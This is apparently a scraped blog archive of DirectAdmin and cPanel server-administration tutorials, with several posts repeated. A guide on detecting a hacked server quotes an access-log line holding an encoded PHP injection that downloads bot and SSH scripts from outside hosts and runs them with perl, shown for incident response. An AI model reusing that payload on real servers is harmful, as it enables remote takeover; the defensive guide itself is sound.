Showing posts with label Directadmin. Show all posts
Showing posts with label Directadmin. Show all posts

SSL Email Settings - Outlook

0 comments
General Settings

You can use the following settings if you require Secure POP3, Secure IMAP4 or Secure SMTP over SSL.
POP3 over SSL Server: yourdomainname.com / mail.yourdomainname.com

POP3 over SSL Port: 995
IMAP4 over SSL Server: yourdomainname.com / mail.yourdomainname.com

IMAP4 over SSL Port: 993
SMTP over SSL Server: yourdomainname.com / mail.yourdomainname.com

SMTP over SSL Port: 465

You can authenticate on these servers using your full email address as the username and corresponding password.

SSL Settings Guides

Outlook 2010


You can follow these steps to change your Outlook 2010 email settings if you want to use our Secure servers for sending and receiving email.

  1. Open Outlook 2010

  2. From the File click on Account Settings and select Account SettingsYou'll then see all of your email accounts listed.

  3. Select the account you wish to modify and click Change

  4. Change the Incoming Mail Server (POP3) to yourdomainname.com / mail.yourdomainname.com and change the Outgoing Mail Server (SMTP) to yourdomainname.com / mail.yourdomainname.com

  5. Click on More Settings...

  6. Select the Advanced tab

  7. There are two check boxes labeled This server requires and encrypted connection (SSL). Check mark both check boxes.

  8. Change the Incoming Server (POP3) to 995. Change the Outgoing Server (SMTP) to 465.

  9. Click OK

  10. Click Next > and then Finish


 

 

cPanel, Lxadmin or Direct Admin – Roundcube issues

0 comments
cPanel, Lxadmin or Direct Admin – Roundcube issues – SERVICE CURRENTLY NOT AVAILABLE! Error No. [500] / Error No. [0x01F4]

On cPanel, just update roundcube

/usr/local/cpanel/bin/update-roundcube --force

On Lxadmin, just re-install

rm /var/cache/lxadmin/lxwebmail*
lphp.exe ../bin/misc/installRoundCube.php
/script/upcp


On DirectAdmin

check logs   var/www/html/roundcube/logs/error

just deleted da_roundcube
and ./build roundcube

solved the problem

Fatal error - [Plugin Akismet] Error when activating plugin Akismet on WP 3.0

1 comments
When activated, the page plugin gives error:
Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 7680 bytes) in /home/improv/public_html/wp-includes/kses.php(550) : runtime-created function on line 1

Solution:-

First, try installing the Memory Bump plugin.

If that doesn't work, here are four more ways to increase PHP's memory allocation:
1. If you have access to your PHP.ini file, change the line in PHP.ini
If your line shows 32M try 64M:
memory_limit = 64M ; Maximum amount of memory a script may consume (64MB)

2. If you don't have access to PHP.ini try adding this to an .htaccess file:
php_value memory_limit 64M

3. Try adding this line to your wp-config.php file:
Increasing memory allocated to PHP
define('WP_MEMORY_LIMIT', '64M');

4. Talk to your host.


/var patition full, How to change Mysql database directory to another partition in cPanel

0 comments

Switch off the database server while we are moving the databases.

/etc/rc.d/init.d/mysql stop

I am considering that I have enough space in /home partition. Here goes my new database data directory as /home/mysql

Now it is better to copy the database first, rather than move.

cp -pr /var/lib/mysql /home
mv /var/lib/mysql /var/lib/mysql-bk

We are copying the database to the new location since it is better to revert back the settings with minimum downtime, if anything goes wrong.

move to /tmp

cd /tmp
unlink mysql.sock
ln -s /home/mysql/mysql.sock /tmp/mysql.sock

Take a backup of /etc/my.cnf

Now edit /etc/my.cnf

vi /etc/my.cnf

add the line
datadir=/home/mysql

If the socket file is specified, comment it out.

Now move to /var/lib/mysql and create a symblink

ln -s /home/mysql /var/lib/mysql

(Please note that you don’t specify the socket file location in my.cnf since it causes issues with phpMyadmin)

For, cPanel server, edit the phpMyadmin configuration
take a backup of “/usr/local/cpanel/base/3rdparty/phpMyAdmin/config.inc.php”

edit this file /usr/local/cpanel/base/3rdparty/phpMyAdmin/config.inc.php
vi /usr/local/cpanel/base/3rdparty/phpMyAdmin/config.inc.php

add the following lines. If they already exist, edit as below.
(the connect_type usually exist at “tcp” change it to “socket”)

$cfg['Servers'][$i]['socket'] = ‘/home/mysql/mysql.sock’;
$cfg['Servers'][$i]['connect_type'] = ’socket’;

Now start the database server.

/etc/rc.d/ini.d/mysql start

If it starts fine, you are done. Check the database connections of your site.
You can now remove the directory /var/lib/mysql-bk

Determine if a server is hacked

0 comments
This guide is not meant to be all inclusive for figuring out if a server is hacked however it should give you a pretty good idea if a server is hacked the method used. This guide is going to focus on getting hacked via a php injection attack which is the most common today. There are certainly others but chances are if the server has been compromised by a script kiddie you will be able to find it via this guide. As long as the server has not been rooted it is generally possible to clean up and find all of the tools and scripts that were put on the server. Once a server has been rooted it is impossible to determine without a doubt that you have cleared everything out and what can or cannot be trusted. Once a server has been rooted for sure the server should be reformated/reimaged before it is put back into production. If you are ever unsure of where to go next or woud like to hire somebody to take care of this please take a look TotalServerSolutionswhich is a company that I run and work for is very familiar with handling these types of problems and preventing them from happening. . Of course if you have had the server hacked once you need to make sure and secure it so that it does not get hacked as soon as it is put online again.

The first step is to look at rkhunter and see if it reports anything that is bad. If rkhunter reports that the server has been rooted it is probably going to best to reimage the server once the method of intrusion has been determined.

Download and unzip rkhunter
—–command—–
cd /usr/local/src/
wget http://downloads.rootkit.nl/rkhunter-1.2.1.tar.gz
tar -zxf rkhunter-1.2.1.tar.gz
cd rkhunter
—–command—–

Install and run it
—–command—–
./installer.sh
rkhunter -c
—–command—–

If you are unsure of the output either look on google or you can post it here and I can try to help.

If that does not turn up anything and you are still having issues with the server sending out a DOS attack, hosting a botnet, or some other “bad” activity the next thing to check into how apache may have been used to exploit the server. This part is going to be hard for many that are not experienced with server administration because you have to be aware of what is normal and what is not. The directories that I am going to reference will have legitimate files but may also contain the scripts used to hacked or send out an attack.

Go ahead and look in /tmp first and delete the uneeded files that are normal

cd /tmp
rm -rf sess*
rm -rf ssh-*
rm -rf dos-*
ls -alh

On a normal basis the files are fine, the files are only being deleted now to aid in determining what is a legitmate file. The files that are going to be of interest are anything that are bold or green because that means that they can be executed. Typically the hacked files are going to have names that use numbers in the names, end in .pl (perl files), or simply look different from everything else in /tmp. It is impossible to make a list of everything, this is going to be where experience counts as to determining if something is in fact a “bad” file. If youare unsure of the file head over to google and search the name. If it is infact some sort of a rootkit or script you will probably find references to it and what it does.

Another thing to look at is who the file is owned by. If a file is owned by the user and group nobody it was probably created by apache. These files are going to be of particular interest during an investigation.

Make sure to look at the very top for a directory named …, .tmp, or anything with a period at the begining as that means it is a hidden file, something that normally would not be in tmp. If you find nothing in /tmp also check /var/tmp and /dev/shm. These directories are where most scripts are stored but it does not mean it is the only place they may be! It might require some more investigation as to what is happening if you are unable to determine what happened from the above.

Once you find the file you can start the investigation as to what went wrong. The best bet is going to be to look in /usr/local/apache/logs and /usr/local/apache/domlogs and to use the egrep command to search the files. For instance if you have the scriptr r0nin in /tmp you will want to go ahead and check how exactly it got in.

egrep r0nin *
Chances are you are going to see something like this:

Request: XXXXXXXXX – - [30/Apr/2005:10:41:20 -0400
] “GET /index.php?t=5704&rush=%65%63%68%6F%20
%5F%53%54%41%52%54%5F%3B%20cd%%2020/tmp;
mkdir%20.temp22;cd%20.temp22;wget%20http://www.xxx-
aane.com/pics/bot.htm;wget%20http://xxx.com/.notes/ssh2.h
tm;perl%20ssh2.htm;rm%20ssh.htm;perl%20bot.h%20tm;
rm%20bot.htm%3B%20%65%63%68%6F%20%5F%45%
4E%44%5%20F&highlight=%2527.%70%61%73%73
%74%68%72%75%28%24%48%%2054%54%50%5
F%47%45%54%5F%56%41%52%53%5B%72%75%73%
68%20%5D%29.%2527?; HTTP/1.1? 403 219
(I have XXX’ed out some information)

If you do in fact find something like the above, there are many variations so it will not look exactly like that, then you were probably hacked via a mysql injection. To further prove that this is the case you can look at the timestamp on the file and the timestamp in the logs.

One nice tool to use to look into what else might be hacked is the command lsof. This command will let you see all files are are currently being accessed by a given user. First stop apache then run lsof to see what files it is using, the reason it must first be stopped is that if you do not there will be a huge list of libs and other files listed.

service httpd stop
lsof -u nobody

Looking at the lsoof output you may be able to find some other directories that are being used. Again here is something where looking at the naming will help, if some directory looks out of place take a look at it and you may be able to find something.

If that fails you can also use the ps command to try and find the offending process and track it down. Use

ps -aux

To look at everything that is running. Most times it is going to be hard pretty hard to just look at everything if you are not very familiar with what is going on and spot the offending process. I would go ahead and start out looking for only perl scripts since they are popular right now:

ps -aux |grep perl

If you do find something go ahead and search the drive for the file then open it with pico, you should be able to look at the commenting in the code to find out what sort of things it is capable of. Luckily most of the script kiddies have a section at the top that describes the file and what it does.

find / |grep somesript.pl

then edit it via:
pico -w /location/of/script.pl

Hopefully this guide will help you out in determining if a server has been hacked and a very basic way to analzye it. Generally doing what I posted above should help you find at least one of the offending processes if a server was in fact hacked. I am going to try to slowly add more information to this guide so if you have any suggestions please feel free to post them below. I am always very open to new ideas on how to do things or different ways of looking at something. If after you have followed this guide and you are unsure of what to do next consider hiring the company that I run, TotalServerSolutions, we are very familiar with locating and helping clean up after an attack. We can also secure your server to stop the server from even being hacked in the first place.

You need to install the LWP perl module (libwww-perl) and then install csf

1 comments
[root@server22 csf]# sh install.sh

Configuring for OS

Checking for perl modulesfailed
You need to install the LWP perl module (libwww-perl) and then install csf
[root@server22 csf]#

To fix the error, install libwww-perl

yum install perl-libwww-perl

HowTo install and configure FFmpeg and FFmpeg-Php on a DA server

0 comments
I saw this headline on another part of the forum and the instructions I thought were a lot more than was needed. And that might be fine for some but I thought I would post a much shorter process. Here is what I do on my servers running CentOS. Its so easy that I just do it by default on every server I setup.

Install FFMPEG CentOS

cd /root
echo "[dag]" > /etc/yum.repos.d/dag.repo
echo "name=Dag RPM Repository for Red Hat Enterprise Linux" >> /etc/yum.repos.d/dag.repo
echo "baseurl=http://apt.sw.be/redhat/el\$releasever/en/\$basearch/dag" >> /etc/yum.repos.d/dag.repo
echo "gpgcheck=0" >> /etc/yum.repos.d/dag.repo
echo "enabled=1" >> /etc/yum.repos.d/dag.repo

yum -y install ffmpeg ffmpeg-devel flvtool2 mencoder
wget http://internap.dl.sourceforge.net/sourceforge/ffmpeg-php/ffmpeg-php-0.6.0.tbz2
tar -xjf ffmpeg-php-0.6.0.tbz2
cd ffmpeg-php-0.6.0/
/usr/local/bin/phpize
./configure --with-php-config=/usr/local/bin/php-config
make
make install
cp /usr/local/lib/php/extensions/no-debug-non-zts-20060613/ffmpeg.so /usr/local/lib/php/extensions/
echo "extension=ffmpeg.so" >> /etc/php.ini
service httpd restart

How to install Roundcubemail (webmail alternative)

0 comments
WARNING: This application is ALPHA software. Use at your own risk

I found roundcube mail while searching projects on freshmeat. Already in Alpha stage is runs very nice, has a great template system and uses xhtml/css 2 (although the xhtml could be strict and much better) the default template is great. It currently lacks a search but that is coming in the future.

http://www.roundcube.net/

So lets get started.
=============================

1) Create a mysql db via direct admin. I called mine admin_webmail (you should all know how to do this!)

2) Download and unpack the package:
Code:

#  cd /var/www/html

#  wget http://easynews.dl.sourceforge.net/s...0051007.tar.gz

#  tar xvfz roundcube_webmail_0.1-20051007.tar.gz

3) Ensure proper permissions of the folders:

Code:

#  chown -R root.root roundcubemail

#  cd roundcubemail

#  chown -R apache logs temp

4) Import their SQL file:

Code:

#  cd SQL

//replace the following with the database username and password you created in step 1

#  mysql -u admin_webmail -p
Enter Password: *******

Once in, import their SQL file:
Code:

use admin_webmail

SOURCE mysql.initial.sql

now the import should be complete.

5) Setup db config variables

Code:

#  cd ../config/

#  nano db.inc.php

all you have to do here is change the "$rcmail_config['db_dsnw'] = " config information, mine looks like this:

Code:

$rcmail_config['db_dsnw'] = 'mysql://admin_webmail:myPasswordHere@localhost/admin_webmail';

the format is: mysql://<database user>:<password>@host/database_name

save that file and close it.

6) Setup the application config:

Code:

#  nano main.inc.php

find this line:

Code:

$rcmail_config['enable_caching'] = TRUE;

Replace with:

Code:

$rcmail_config['enable_caching'] = FALSE;

next find:

Code:

$rcmail_config['default_host'] = '';

replace with:

Code:

$rcmail_config['default_host'] = 'localhost';

7) *optional* you may want to setup an apache alias, you can overwrite your current webmail one with the following:

Edit httpd.conf:

Code:

#  nano /etc/httpd/conf/httpd.conf

Find this line:

Code:

Alias /webmail /var/www/html/webmail/

Replace with:

Code:

Alias /webmail /var/www/html/roundcubemail/

then restart apache
Code:

#  service httpd restart

You are done!

Login @ http://www.domain.com/webmail/

Questions, Comments, Typos, Suggestions, Praise post here please and I will update this main thread.

Thanks,

Pushkar
Reply With Quote

Online Backup, Replication and Encryption

1 comments

How to Complile PHP with imap on directadmin server

13 comments
Trying to add --with-imap to your configure.php5 ?
and getting this error?

configure: error: utf8_mime2text() has new signature, but U8T_CANONICAL is missing

Solution (worked for me, this was a dovecot machine):

# yum install libc-client
# yum install libc-client-devel

Then add following lines in:-

nano /usr/local/directadmin/custombuild/configure/ap2/configure.php5



--with-imap=/usr/lib/dovecot/imap \
--with-imap-ssl \


to: configure.php5

# cd /usr/local/directadmin/custombuild/configure/ap2



# ./build php y


Go_GrEen^ThiNk_GReeN~LoVE_GreEn

How to Complile PHP with imap on directadmin server

15 comments
Trying to add --with-imap to your configure.php5 ?
and getting this error?

configure: error: utf8_mime2text() has new signature, but U8T_CANONICAL is missing

Solution (worked for me, this was a dovecot machine):

# yum install libc-client
# yum install libc-client-devel

Then add following lines in:-

nano /usr/local/directadmin/custombuild/configure/ap2/configure.php5



--with-imap=/usr/lib/dovecot/imap \
--with-imap-ssl \


to: configure.php5

# cd /usr/local/directadmin/custombuild/configure/ap2



# ./build php y


Go_GrEen^ThiNk_GReeN~LoVE_GreEn

How to Complile PHP with imap on directadmin server

14 comments
Trying to add --with-imap to your configure.php5 ?
and getting this error?

configure: error: utf8_mime2text() has new signature, but U8T_CANONICAL is missing

Solution (worked for me, this was a dovecot machine):

# yum install libc-client
# yum install libc-client-devel

Then add following lines in:-

nano /usr/local/directadmin/custombuild/configure/ap2/configure.php5



--with-imap=/usr/lib/dovecot/imap \
--with-imap-ssl \


to: configure.php5

# cd /usr/local/directadmin/custombuild/configure/ap2



# ./build php y


Go_GrEen^ThiNk_GReeN~LoVE_GreEn

Paths for Log Files :DirectAdmin

0 comments
The first place you should go when trying to debug a problem is the log file for that program. The list of Log Files are as follows:

DirectAdmin:
/var/log/directadmin/error.log
/var/log/directadmin/errortaskq.log
/var/log/directadmin/system.log
/var/log/directadmin/security.log


Apache:
/var/log/httpd/error_log
/var/log/httpd/access_log
/var/log/httpd/suexec_log
/var/log/httpd/fpexec_log
/var/log/httpd/domains/domain.com.error.log
/var/log/httpd/domains/domain.com.log
/var/log/messages (generic errors)


Proftpd:
/var/log/proftpd/access.log
/var/log/proftpd/auth.log
/var/log/messages (generic errors)


vm-pop3d:
/var/log/maillog
/var/log/messages

named (bind):

/var/log/messages


exim:
/var/log/exim/mainlog
/var/log/exim/paniclog
/var/log/exim/processlog
/var/log/exim/rejectlog
(on FreeBSD, they have "exim_" in front of the filenames)


mysqld:
RedHat:
/var/lib/mysql/server.hostname.com.err
FreeBSD:
/usr/local/mysql/data/server.hostname.com.err


crond:
/var/log/cron


To view a log file, run:

less /var/log/filename
Where /var/log/filename is the path of the log you wish to view. If the log is too large you can use the "tail" command:

tail -n 30 /var/log/filename
Where 30 is the number of lines from the end you wish to view.

Paths for Log Files :DirectAdmin

0 comments
The first place you should go when trying to debug a problem is the log file for that program. The list of Log Files are as follows:

DirectAdmin:
/var/log/directadmin/error.log
/var/log/directadmin/errortaskq.log
/var/log/directadmin/system.log
/var/log/directadmin/security.log


Apache:
/var/log/httpd/error_log
/var/log/httpd/access_log
/var/log/httpd/suexec_log
/var/log/httpd/fpexec_log
/var/log/httpd/domains/domain.com.error.log
/var/log/httpd/domains/domain.com.log
/var/log/messages (generic errors)


Proftpd:
/var/log/proftpd/access.log
/var/log/proftpd/auth.log
/var/log/messages (generic errors)


vm-pop3d:
/var/log/maillog
/var/log/messages

named (bind):

/var/log/messages


exim:
/var/log/exim/mainlog
/var/log/exim/paniclog
/var/log/exim/processlog
/var/log/exim/rejectlog
(on FreeBSD, they have "exim_" in front of the filenames)


mysqld:
RedHat:
/var/lib/mysql/server.hostname.com.err
FreeBSD:
/usr/local/mysql/data/server.hostname.com.err


crond:
/var/log/cron


To view a log file, run:

less /var/log/filename
Where /var/log/filename is the path of the log you wish to view. If the log is too large you can use the "tail" command:

tail -n 30 /var/log/filename
Where 30 is the number of lines from the end you wish to view.

Updating and Compiling Apache and PHP

0 comments
To update apache and compile everything, run the following:

#  cd /usr/local/directadmin/customapache
# ./build clean
# rm -f configure.*
# ./build update
# ./build all

Once the update has completed, you'll need to restart apache:

# /sbin/service httpd restart

Updating and Compiling Apache and PHP

0 comments
To update apache and compile everything, run the following:

#  cd /usr/local/directadmin/customapache
# ./build clean
# rm -f configure.*
# ./build update
# ./build all

Once the update has completed, you'll need to restart apache:

# /sbin/service httpd restart

Setting up DA with an SSL certificate

0 comments

You can switch DirectAdmin to use SSL instead of plain text. -> https instead of http.

If you do not have your own certificates, you'll need to create your own:

/usr/bin/openssl req -x509 -newkey rsa:1024 -keyout /usr/local/directadmin/conf/cakey.pem -out /usr/local/directadmin/conf/cacert.pem -days 9999 -nodes

chown diradmin:diradmin /usr/local/directadmin/conf/cakey.pem
chmod 400 /usr/local/directadmin/conf/cakey.pem



This is the old method, use either the one above, or this one. The end result is the same, but takes more steps.

openssl req -new -x509 -keyout /usr/local/directadmin/conf/cakey.pem.tmp -out /usr/local/directadmin/conf/cacert.pem -days 3653

openssl rsa -in /usr/local/directadmin/conf/cakey.pem.tmp -out /usr/local/directadmin/conf/cakey.pem

rm -f /usr/local/directadmin/conf/cakey.pem.tmp
chown diradmin:diradmin /usr/local/directadmin/conf/cakey.pem
chmod 400 /usr/local/directadmin/conf/cakey.pem


(Paste these one at a time as the first 2 require user input)


If you already have your own certificate and key, then paste them into the following files:

certificate: /usr/local/directadmin/conf/cacert.pem
key: /usr/local/directadmin/conf/cakey.pem


Edit the /usr/local/directadmin/conf/directadmin.conf and set SSL=1 (default is 0). This tells DA to load the certificate and key and to use an SSL connection. DirectAdmin needs to be restarted after this change.

If you also have a CA Root Certificate, this can be specified by adding:

carootcert=/usr/local/directadmin/conf/carootcert.pem

into the /usr/local/directadmin/conf/directadmin.conf file (won't exist by default) and by pasting the contents of the caroot cert into that file.

Note, as of 1.30.2, you can set the value of the SSL redirect should a User connect to an https connection with plaintext http.
http://www.directadmin.com/features.php?id=801

Error: Cannot Find SSL Binaries Under /usr [DirectAdmin]

0 comments

This happens with the configure script for apache cannot find the "openssl" (or "ssleay") binaries in any of
/usr/bin/openssl
/usr/sbin/openssl
/usr/apps/openssl

The usual location for "openssl" is /usr/bin/openssl

On a debian system, run


apt-get install openssl

I can't login to DirectAdmin on port 2222 [DirectAdmin]

11 comments
If you are unable to access your server via http://YourDomainname:2222, then 1 of 3 things is likely happening:

1. DirectAdmin might not be running or
2. You have a firewall blocking port 2222.

Number 2. is easy to check by simply running (only on redhat systems):

/sbin/service iptables stop
/sbin/chkconfig iptables off

Then test directadmin again.

If that didn't fix it, then you'd need to check your /var/log/directadmin/error.log to check for any errors as to why it isn't starting:

tail /var/log/directadmin/error.log

Common problems are:

1. Incorrect ethernet_dev set in the /usr/local/directadmin/conf/directadmin.conf file.
2. Invalid license, either due to wrong uid/lid, IP, or date. Try: Updating your DirectAdmin License Manually
3. Binaries for a different operating system.

You can always try running DirectAdmin by hand (if it's not already running) to see what the problem is.

cd /usr/local/directadmin
./directadmin b200

Use Ctrl-C to stop.

How To Update Apache In DirectAdmin

0 comments
If  you are willing to update apache from 2.x  To  2.0.59, then follow this.
—————————————————————-
cd /usr/local/directadmin/customapache
rm -fr build
wget http://files.directadmin.com/services/customapache/build
chmod 755 build
./build update
./build update_data_ap2
./build clean
./build apache_2
./build php_ap2 n
./build mod_frontpage_ap2
./build mod_perl_ap2
./build zend
/sbin/service httpd restart
———————————————————————–
Updating Apache from 1.3.x to 2.0.59
cd /usr/local/directadmin/customapache
rm -fr build
wget http://files.directadmin.com/services/customapache/build
chmod 755 build
./build update
./build update_data_ap2
./build convert
./build clean
./build apache_2
./build php_ap2 n
./build mod_frontpage_ap2
./build mod_perl_ap2
./build zend
/sbin/service httpd restart